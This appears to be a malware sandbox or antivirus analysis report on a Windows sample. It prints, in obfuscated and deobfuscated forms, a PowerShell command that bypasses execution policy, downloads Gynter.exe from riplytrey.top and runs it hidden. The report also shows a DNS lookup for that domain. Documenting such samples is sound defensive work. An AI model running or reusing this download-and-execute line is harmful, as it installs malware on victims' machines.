Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c p^ower^she^ll -Ex^ecutio^nPol^icy ByP^ass -NoP^rofile -com^mand (New-O^bject Net.Webclient).('Downl'+'oadfile').invoke('ht'+'tp://'+'riplytrey.top/marz/','%TMP%\Gynter.exe');starT-ProcEss '%...
Network activity
UDP
- DNS ASK ri###trey.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c p^ower^she^ll -Ex^ecutio^nPol^icy ByP^ass -NoP^rofile -com^mand (New-O^bject Net.Webclient).('Downl'+'oadfile').invoke('ht'+'tp://'+'riplytrey.top/marz/','%TMP%\Gynter.exe');starT-ProcEss '%...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy ByPass -NoProfile -command (New-Object Net.Webclient).('Downl'+'oadfile').invoke('ht'+'tp://'+'riplytrey.top/marz/','%TEMP%\Gynter.exe');starT-ProcEss '%TEMP%\Gynter.exe';
